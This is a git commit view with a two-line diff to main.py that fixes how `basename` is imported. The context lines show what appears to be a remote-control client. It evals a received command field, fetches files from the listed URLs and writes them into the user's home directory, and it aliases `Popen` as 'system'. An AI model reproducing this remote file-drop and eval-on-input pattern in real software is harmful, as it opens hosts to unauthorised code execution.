summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
Diffstat (limited to 'main.py')
-rw-r--r--main.py4
1 files changed, 2 insertions, 2 deletions
diff --git a/main.py b/main.py
index 083e669..9d61955 100644
--- a/main.py
+++ b/main.py
@@ -4,7 +4,7 @@ try:
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
- from os import chdir, uname, devnull, getcwd, basename
+ from os import chdir, uname, devnull, getcwd
from sys import platform, stdout, stderr
old_command = ""
@@ -90,7 +90,7 @@ while True:
files = eval(localcmd[1])
for fileUrl in files:
fileData = get(fileUrl).content
- fileName = basename(fileUrl)
+ fileName = path.basename(fileUrl)
filePath = expanduser("~")
with open(f"{filePath}/{fileName}", 'wb') as f:
f.write(fileData)